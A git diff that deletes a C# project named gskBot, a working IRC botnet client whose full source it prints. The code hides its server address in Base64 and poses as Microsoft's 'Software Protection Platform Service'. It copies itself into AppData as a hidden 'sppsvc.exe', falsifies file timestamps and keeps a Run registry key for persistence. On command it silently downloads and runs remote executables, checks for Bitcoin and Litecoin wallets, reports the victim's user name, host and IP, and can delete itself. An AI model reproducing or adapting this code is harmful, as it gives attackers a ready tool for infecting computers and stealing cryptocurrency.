diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico
Binary files differ.
diff --git a/c#/gskBot/.vs/gskBot/v14/.suo b/c#/gskBot/.vs/gskBot/v14/.suo
Binary files differ.
diff --git a/c#/gskBot/gskBot.sln b/c#/gskBot/gskBot.sln
@@ -1,22 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Express 2013 for Windows Desktop
-VisualStudioVersion = 12.0.21005.1
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "gskBot", "gskBot\gskBot.csproj", "{E3BEC248-AB70-4696-B5D1-46C275D8970E}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Any CPU = Debug|Any CPU
-		Release|Any CPU = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
-		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.Build.0 = Debug|Any CPU
-		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.ActiveCfg = Release|Any CPU
-		{E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.Build.0 = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
diff --git a/c#/gskBot/gskBot.v12.suo b/c#/gskBot/gskBot.v12.suo
Binary files differ.
diff --git a/c#/gskBot/gskBot/App.config b/c#/gskBot/gskBot/App.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/gskBot/gskBot/Bot.cs b/c#/gskBot/gskBot/Bot.cs
@@ -1,60 +0,0 @@
-#region Imports
-using System.Threading;
-using Microsoft.Win32;
-//using System.Reflection;
-#endregion
-
-#region Assembly
-/*
-[assembly: AssemblyTitle("")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("")]
-[assembly: AssemblyCopyright("")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCulture("")]
-[assembly: ComVisible(false)]
-[assembly: Guid("00000000-0000-0000-0000-000000000000")]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
-*/
-#endregion
-
-namespace gskBot {
-    class Bot {
-        #region Startup
-        static void Main() {
-            if (Config.Startup) Function.Install();
-            SystemEvents.PowerModeChanged += SessionEvents;
-            SystemEvents.SessionEnding    += PowerEvents;
-            Thread.Sleep(Config.ConnectionDelay);
-            IRC.Connect();
-        }
-        #endregion
-
-        #region Events
-        static void PowerEvents(object sender, SessionEndingEventArgs e) {
-            switch (e.Reason) {
-                case SessionEndReasons.Logoff:
-                    if (IRC.Connected) IRC.Quit("LOGOFF");
-                    break;
-                case SessionEndReasons.SystemShutdown:
-                    if (IRC.Connected) IRC.Quit("SHUTDOWN");
-                    break;
-            }
-        }
-
-        static void SessionEvents(object sender, PowerModeChangedEventArgs e) {
-            switch (e.Mode) {
-                case PowerModes.Resume:
-                    IRC.Connect();
-                    break;
-                case PowerModes.Suspend:
-                    if (IRC.Connected) IRC.Quit("SLEEP");
-                    break;
-            }
-        }
-        #endregion
-    }
-}
-\ No newline at end of file
diff --git a/c#/gskBot/gskBot/Config.cs b/c#/gskBot/gskBot/Config.cs
@@ -1,38 +0,0 @@
-#region Imports
-using System;
-using System.Diagnostics;
-#endregion
-
-namespace gskBot {
-    class Config {
-        #region Connection Settings
-        public static string Server     = Function.Base64Decode("aXJjLnN1cGVybmV0cy5vcmc="); // irc.supernets.org
-        public static string Channel    = Function.Base64Decode("I2hhcmJvcg==");             // #harbor
-        public static string ChannelKey = Function.Base64Decode("QmFiQ2FkeTE5OTU=");         // BabCady1995
-        public static int    Port       = 6697;
-        #endregion
-
-        #region Bot Settings
-        public static string ID         = Function.RandomStr(6).ToUpper();
-        public static string Nick       = Function.GetCountryCode() + "|" + Function.GetOS() + "-" + Function.GetMachineType() + "|" + ID;
-        public static string AdminHost  = Function.Base64Decode("c3VwZXIubmV0cw==");
-        #endregion
-
-        #region Startup Settings
-        public static bool Persistance      = true;
-        public static bool Startup          = true;
-        public static string StartupKeyName = "Windows Host Module";
-        public static string StartupKeyDir  = @"Software\Microsoft\Windows\CurrentVersion\Run";
-        public static string AppData        = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
-        public static string InstallFile    = AppData + @"\Microsoft\Windows\Services\sppsvc.exe";
-        #endregion
-
-        #region Other Settings
-        public static bool   Debug           = false;
-        public static int    ConnectionDelay = 30000;
-        public static int    ReconnectDelay  = 300000;
-        public static string SelfPath        = Process.GetCurrentProcess().MainModule.FileName;
-        public static string Version         = "1.0.0";
-        #endregion
-    }
-}
diff --git a/c#/gskBot/gskBot/Function.cs b/c#/gskBot/gskBot/Function.cs
@@ -1,235 +0,0 @@
-#region Imports
-using Microsoft.Win32;
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Net;
-using System.Reflection;
-using System.Security.Cryptography;
-using System.Security.Principal;
-using System.Text;
-using System.Text.RegularExpressions;
-using System.Threading;
-#endregion
-
-namespace gskBot {
-    class Function {
-        #region Check Network
-        public static bool CheckNetwork() {
-            return System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable();
-        }
-        #endregion
-
-        #region CryptoCurrency Check
-        public static bool CheckBTC() {
-            if (File.Exists(Config.AppData + @"\Bitcoin\wallet.dat")) return true;
-            else return false;
-        }
-
-        public static bool CheckLTC() {
-            if (File.Exists(Config.AppData + @"\Litecoin\wallet.dat")) return true;
-            else return false;
-        }
-        #endregion
-
-        #region Download & Execute
-        public static void Download(string URL) {
-            string TempFile = Path.GetTempPath() + Function.RandomStr(6) + Path.GetExtension(URL);
-            using (WebClient WC = new WebClient()) WC.DownloadFile(URL, TempFile);
-            using (Process DropProcesss = new Process()) {
-                DropProcesss.StartInfo.FileName       = TempFile;
-                DropProcesss.StartInfo.WindowStyle    = ProcessWindowStyle.Hidden;
-                DropProcesss.StartInfo.CreateNoWindow = true;
-                DropProcesss.Start();
-            }
-        }
-        #endregion
-
-        #region Get Admin
-        public static bool GetAdmin() {
-            return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
-        }
-        #endregion
-
-        #region Get Age
-        public static string GetAge() {
-            DateTime CreationTime = File.GetCreationTime(Config.SelfPath);
-            if (DateTime.Now.Subtract(CreationTime).TotalHours < 1) return " [NEW]";
-            else return "";
-        }
-        #endregion
-
-        #region Get Computer Name
-        public static string GetComputerName() {
-            return Environment.MachineName;
-        }
-        #endregion
-
-        #region Get Country Code
-        public static string GetCountryCode() {
-            return System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName;
-        }
-        #endregion
-
-        #region Get IP Address
-        public static string GetIP() {
-            try {
-                string externalIP;
-                externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/");
-                externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(externalIP)[0].ToString();
-                return externalIP;
-            } catch {
-                return "Unknown IP";
-            }
-        }
-        #endregion
-
-        #region Get Machine Type
-        public static string GetMachineType() {
-            if (Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString().Contains("x86")) return "32";
-            else return "64";
-        }
-        #endregion
-
-        #region Get Operating System
-        public static string GetOS() {
-            int Major = Environment.OSVersion.Version.Major;
-            int Minor = Environment.OSVersion.Version.Minor;
-            if (Environment.OSVersion.Platform == PlatformID.Win32Windows) {
-                if      (Minor == 0)              return "W95";
-                else if (Minor == 10)             return "W98";
-                else if (Minor == 90)             return "WME";
-                else                              return "W?";
-            } else if (Environment.OSVersion.Platform == PlatformID.Win32NT) {
-                if      (Major == 5 & Minor == 0) return "WS2K";
-                else if (Major == 5 & Minor == 1) return "WXP";
-                else if (Major == 5 & Minor == 2) return "WS2K3";
-                else if (Major == 6 & Minor == 0) return "WV";
-                else if (Major == 6 & Minor == 1) return "W7";
-                else if (Major == 6 & Minor == 2) return "W8";
-                else if (Major == 6 & Minor == 3) return "W81";
-                else if (Major == 10)             return "W10";
-                else                              return "W?";
-            } else                                return "W?";
-        }
-        #endregion
-
-        #region Get File Size
-        public static string GetFileSize(string URL) {
-            WebRequest RequestURL = HttpWebRequest.Create(URL);
-            RequestURL.Method     = "HEAD";
-            WebResponse resp      = RequestURL.GetResponse();
-            long ContentLength    = 0;
-            long FileSizeConverted;
-            if (long.TryParse(resp.Headers.Get("Content-Length"), out ContentLength)) {
-                string FileSize;
-                string FileSizeExt;
-                if (ContentLength >= 1073741824) {
-                    FileSizeConverted = ContentLength / 1073741824;
-                    FileSizeExt       = "Gb";
-                } else if (ContentLength >= 1048576) {
-                    FileSizeConverted = ContentLength / 1048576;
-                    FileSizeExt       = "Mb";
-                } else {
-                    FileSizeConverted = ContentLength / 1024;
-                    FileSizeExt       = "Kb";
-                }
-                FileSize = FileSizeConverted.ToString("0");
-                return FileSize + " " + FileSizeExt;
-            } else {
-                return "Unknown Size";
-            }
-        }
-        #endregion
-
-        #region Get Username
-        public static string GetUsername() {
-            return Environment.UserName;
-        }
-        #endregion
-
-        #region Hash Encoding
-        public static string Base64Encode(string plainText) {
-            var plainTextBytes = Encoding.UTF8.GetBytes(plainText);
-            return Convert.ToBase64String(plainTextBytes);
-        }
-
-        public static string Base64Decode(string base64EncodedData) {
-            var base64EncodedBytes = Convert.FromBase64String(base64EncodedData);
-            return Encoding.UTF8.GetString(base64EncodedBytes);
-        }
-
-        public static string MD5File(string FileName) {
-            using (var md5 = MD5.Create()) {
-                using (var stream = File.OpenRead(FileName)) {
-                    return BitConverter.ToString(md5.ComputeHash(stream)).Replace("-", string.Empty);
-                }
-            }
-        }
-        #endregion
-
-        #region Persistence
-        public static void Persistence() {
-            RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
-            while (Config.Persistance) {
-                HKCU.SetValue(Config.StartupKeyName, Config.InstallFile);
-                Thread.Sleep(5000);
-            }
-        }
-        #endregion
-
-        #region Random Integer / String
-        public static int RandomInt(int min, int max) {
-            Random RandomObject = new Random();
-            return RandomObject.Next(min, max);
-        }
-
-        public static string RandomStr(int size) {
-            Random RandomObject = new Random();
-            string CharList     = "abcdefghijklmnpqrstuvwxyz23456789";
-            char[] buffer       = new char[size];
-            for (int i = 0; i < size; i++) buffer[i] = CharList[RandomObject.Next(CharList.Length)];
-            return new string(buffer);
-        }
-        #endregion
-
-        #region Install / Uninstall
-        public static void Install() {
-            if (Config.SelfPath == Config.InstallFile) new Thread(Persistence).Start();
-            else {
-                if (!File.Exists(Config.InstallFile)) {
-                    if (!Directory.Exists(Config.InstallFile)) Directory.CreateDirectory(Path.GetDirectoryName(Config.InstallFile));
-                    Directory.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    Directory.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    Directory.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    File.Copy(Config.SelfPath, Config.InstallFile, true);
-                    File.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    File.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    File.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59)));
-                    File.SetAttributes(Config.InstallFile, FileAttributes.Hidden | FileAttributes.System | FileAttributes.ReadOnly | FileAttributes.NotContentIndexed);
-                    Process.Start(Config.InstallFile);
-                    Environment.Exit(0);
-                } else Environment.Exit(0);
-            }
-        }
-
-        public static void Uninstall() {
-            Config.Persistance = false;
-            try {
-                RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true);
-                HKCU.DeleteValue(Config.StartupKeyName);
-                File.SetAttributes(Config.SelfPath, FileAttributes.Normal);
-                ProcessStartInfo MeltProcess = new ProcessStartInfo();
-                MeltProcess.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.SelfPath;
-                MeltProcess.WindowStyle = ProcessWindowStyle.Hidden;
-                MeltProcess.CreateNoWindow = true;
-                MeltProcess.FileName = "cmd.exe";
-                Process.Start(MeltProcess);
-                Environment.Exit(0);
-            } catch {
-                Environment.Exit(0);
-            }
-        }
-        #endregion
-    }
-}
-\ No newline at end of file
diff --git a/c#/gskBot/gskBot/IRC.cs b/c#/gskBot/gskBot/IRC.cs
@@ -1,146 +0,0 @@
-#region Imports
-using System;
-using System.Diagnostics;
-using System.Net.Sockets;
-using System.Text.RegularExpressions;
-using System.IO;
-using System.Threading;
-using System.Net.Security;
-using System.Security.Cryptography.X509Certificates;
-#endregion
-
-namespace gskBot {
-    class IRC {
-        #region Globals
-        static SslStream SslStream;
-        static StreamReader SockRead;
-        static StreamWriter SockWrite;
-        static TcpClient    TCP;
-        public static bool  Connected = false;
-        static string       Data;
-        static string[]     Args;
-        #endregion
-
-        #region Close Connections
-        public static void CloseConnections() {
-            SockRead.Close();
-            SockWrite.Close();
-            SslStream.Close();
-            TCP.Close();
-            Connected = false;
-        }
-        #endregion
-        
-        #region Connect
-        public static void Connect() {
-            try {
-                TCP       = new TcpClient(Config.Server, Config.Port) { ReceiveBufferSize = 1024 };
-                SslStream = new SslStream(TCP.GetStream(), false, new RemoteCertificateValidationCallback(OnCertificateValidation));
-                SslStream.AuthenticateAsClient(Config.Server);
-                SockRead  = new StreamReader(SslStream);
-                SockWrite = new StreamWriter(SslStream) { AutoFlush = true, NewLine = "\r\n" };
-                Raw("NICK " + Config.Nick);
-                Raw("USER " + Config.ID.ToLower() + " * " + Config.Server + " :" + Config.Nick);
-                Connected = true;
-                Listen();
-            } catch {
-                Reconnect();
-            }
-        }
-        #endregion
-
-        #region Command Handler
-        public static void CommandHandler(string Data) {
-            if (Data != null) {
-                if (Config.Debug) Console.WriteLine(Data);
-                Args = Data.Split();
-                if (Args.Length >= 2) {
-                    if (Args[0] == "PING") Raw("PONG " + Args[1]);
-                    else if (Args[1] == "002") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); //Why is 001 not showing?
-                    else if (Args[1] == "KICK") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey);
-                    else if (Args[1] == "PRIVMSG") {
-                        string Message = Regex.Split(Data, Config.Channel + " :")[1];
-                        string Nick = Data.Split(' ')[0].Split('!')[0].Replace(":", "");
-                        string Host = Data.Split(' ')[0].Split('@')[1];
-                        if (Host == Config.AdminHost & Message.StartsWith("@")) {
-                            if (Message == "@coin") {
-                                if (Function.CheckBTC()) SendMessage("Bitcoin wallet found.");
-                                if (Function.CheckLTC()) SendMessage("Litecoin wallet found.");
-                            } else if (Message.StartsWith("@dl all ") | Message.StartsWith("@dl " + Config.ID + " ")) {
-                                string URL = Message.Replace("@dl " + Config.ID + " ", string.Empty);
-                                URL = URL.Replace("@dl all ", string.Empty);
-                                Uri FileURL = new Uri(URL);
-                                if (URL.EndsWith(".exe")) {
-                                    SendMessage("Downloading \"" + Path.GetFileName(FileURL.LocalPath) + "\" (" + Function.GetFileSize(URL) + ")");
-                                    Stopwatch DownloadTimer = new Stopwatch();
-                                    DownloadTimer.Start();
-                                    Function.Download(URL);
-                                    DownloadTimer.Stop();
-                                    SendMessage("Download Complete! (" + Convert.ToInt32(DownloadTimer.Elapsed.TotalSeconds).ToString() + " Seconds)");
-                                } else SendMessage("Error - Invalid URL");
-                            } else if (Message == "@info" | Message == "@info " + Config.ID) {
-                                SendMessage(Config.Version + " - " + Function.GetUsername() + "@" + Function.GetComputerName() + " (" + Function.GetIP() + ")" + Function.GetAge());
-                            } else if (Message == "@kill " + Config.ID) {
-                                Quit("KILL");
-                                if (Config.Startup) Function.Uninstall();
-                                else Environment.Exit(0);
-                            }
-                        }
-                    } else if (Args[1] == ":Closing Link:") Connected = false;
-                }
-            } else Connected = false;
-        }
-        #endregion
-
-        #region Listen
-        public static void Listen() {
-            while (Connected) {
-                try {
-                    Data = SockRead.ReadLine();
-                    new Thread(() => CommandHandler(Data)).Start();
-                } catch {
-                    break;
-                }
-            }
-            Reconnect();
-        }
-        #endregion
-
-        #region Reconnect
-        public static void Reconnect() {
-            CloseConnections();
-            Thread.Sleep(Config.ReconnectDelay);
-            while (!Function.CheckNetwork()) {
-                Thread.Sleep(10000);
-            }
-            Connect();
-        }
-        #endregion
-
-        #region Raw Message
-        public static void Raw(string Message) {
-            SockWrite.WriteLine(Message);
-        }
-        #endregion
-
-        #region Send Message
-        public static void SendMessage(string Message) {
-            Raw("PRIVMSG " + Config.Channel + " :" + Message);
-        }
-        #endregion
-
-        #region SSL Certificate Validation
-        private static bool OnCertificateValidation(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
-        {
-            return true;
-        }
-        #endregion
-
-        #region Quit
-        public static void Quit(string Message) {
-            if (Connected) SockWrite.WriteLine("QUIT " + Message);
-            CloseConnections();
-        }
-        #endregion
-    }
-}
diff --git a/c#/gskBot/gskBot/Properties/AssemblyInfo.cs b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs
@@ -1,33 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// General Information about an assembly is controlled through the following 
-// set of attributes. Change these attribute values to modify the information
-// associated with an assembly.
-[assembly: AssemblyTitle("Microsoft Software Protection Platform Service")]
-[assembly: AssemblyDescription("Microsoft Software Protection Platform Service")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("Microsoft Corporation")]
-[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
-[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCulture("")]
-
-// Setting ComVisible to false makes the types in this assembly not visible 
-// to COM components.  If you need to access a type in this assembly from 
-// COM, set the ComVisible attribute to true on that type.
-[assembly: ComVisible(false)]
-
-// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("6de825be-64df-4908-b52b-bf300f7a86b0")]
-
-// Version information for an assembly consists of the following four values:
-//
-//      Major Version
-//      Minor Version 
-//      Build Number
-//      Revision
-//
-[assembly: AssemblyVersion("6.3.0.0")]
-[assembly: AssemblyFileVersion("6.3.0.0")]
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.pdb b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
-<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
-  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
-  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
-    <security>
-      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
-        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
-      </requestedPrivileges>
-    </security>
-  </trustInfo>
-</assembly>
diff --git a/c#/gskBot/gskBot/gskBot.csproj b/c#/gskBot/gskBot/gskBot.csproj
@@ -1,101 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
-  <PropertyGroup>
-    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
-    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
-    <ProjectGuid>{E3BEC248-AB70-4696-B5D1-46C275D8970E}</ProjectGuid>
-    <OutputType>WinExe</OutputType>
-    <AppDesignerFolder>Properties</AppDesignerFolder>
-    <RootNamespace>gskBot</RootNamespace>
-    <AssemblyName>gskBot</AssemblyName>
-    <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
-    <FileAlignment>512</FileAlignment>
-    <IsWebBootstrapper>false</IsWebBootstrapper>
-    <TargetFrameworkProfile />
-    <PublishUrl>publish\</PublishUrl>
-    <Install>true</Install>
-    <InstallFrom>Disk</InstallFrom>
-    <UpdateEnabled>false</UpdateEnabled>
-    <UpdateMode>Foreground</UpdateMode>
-    <UpdateInterval>7</UpdateInterval>
-    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
-    <UpdatePeriodically>false</UpdatePeriodically>
-    <UpdateRequired>false</UpdateRequired>
-    <MapFileExtensions>true</MapFileExtensions>
-    <ApplicationRevision>0</ApplicationRevision>
-    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
-    <UseApplicationTrust>false</UseApplicationTrust>
-    <BootstrapperEnabled>true</BootstrapperEnabled>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugSymbols>true</DebugSymbols>
-    <DebugType>pdbonly</DebugType>
-    <Optimize>true</Optimize>
-    <OutputPath>bin\Debug\</OutputPath>
-    <DefineConstants>TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <UseVSHostingProcess>false</UseVSHostingProcess>
-    <Prefer32Bit>false</Prefer32Bit>
-    <GenerateSerializationAssemblies>Off</GenerateSerializationAssemblies>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugType>pdbonly</DebugType>
-    <Optimize>true</Optimize>
-    <OutputPath>bin\Release\</OutputPath>
-    <DefineConstants>TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <Prefer32Bit>false</Prefer32Bit>
-  </PropertyGroup>
-  <PropertyGroup>
-    <StartupObject>gskBot.Bot</StartupObject>
-  </PropertyGroup>
-  <PropertyGroup>
-    <ApplicationIcon>icon.ico</ApplicationIcon>
-  </PropertyGroup>
-  <ItemGroup>
-    <None Include="App.config" />
-  </ItemGroup>
-  <ItemGroup>
-    <Compile Include="Config.cs" />
-    <Compile Include="Function.cs" />
-    <Compile Include="Bot.cs" />
-    <Compile Include="IRC.cs" />
-    <Compile Include="Properties\AssemblyInfo.cs" />
-  </ItemGroup>
-  <ItemGroup>
-    <Reference Include="System" />
-  </ItemGroup>
-  <ItemGroup>
-    <BootstrapperPackage Include=".NETFramework,Version=v4.5">
-      <Visible>False</Visible>
-      <ProductName>Microsoft .NET Framework 4.5 %28x86 and x64%29</ProductName>
-      <Install>true</Install>
-    </BootstrapperPackage>
-    <BootstrapperPackage Include="Microsoft.Net.Client.3.5">
-      <Visible>False</Visible>
-      <ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
-      <Install>false</Install>
-    </BootstrapperPackage>
-    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
-      <Visible>False</Visible>
-      <ProductName>.NET Framework 3.5 SP1</ProductName>
-      <Install>false</Install>
-    </BootstrapperPackage>
-  </ItemGroup>
-  <ItemGroup>
-    <Content Include="icon.ico" />
-  </ItemGroup>
-  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
-  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
-       Other similar extension points exist, see Microsoft.Common.targets.
-  <Target Name="BeforeBuild">
-  </Target>
-  <Target Name="AfterBuild">
-  </Target>
-  -->
-</Project>
-\ No newline at end of file
diff --git a/c#/gskBot/gskBot/gskBot.csproj.user b/c#/gskBot/gskBot/gskBot.csproj.user
@@ -1,13 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup>
-    <PublishUrlHistory>publish\</PublishUrlHistory>
-    <InstallUrlHistory />
-    <SupportUrlHistory />
-    <UpdateUrlHistory />
-    <BootstrapperUrlHistory />
-    <ErrorReportUrlHistory />
-    <FallbackCulture>en-US</FallbackCulture>
-    <VerifyUploadedFiles>false</VerifyUploadedFiles>
-  </PropertyGroup>
-</Project>
-\ No newline at end of file
diff --git a/c#/gskBot/gskBot/icon.ico b/c#/gskBot/gskBot/icon.ico
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
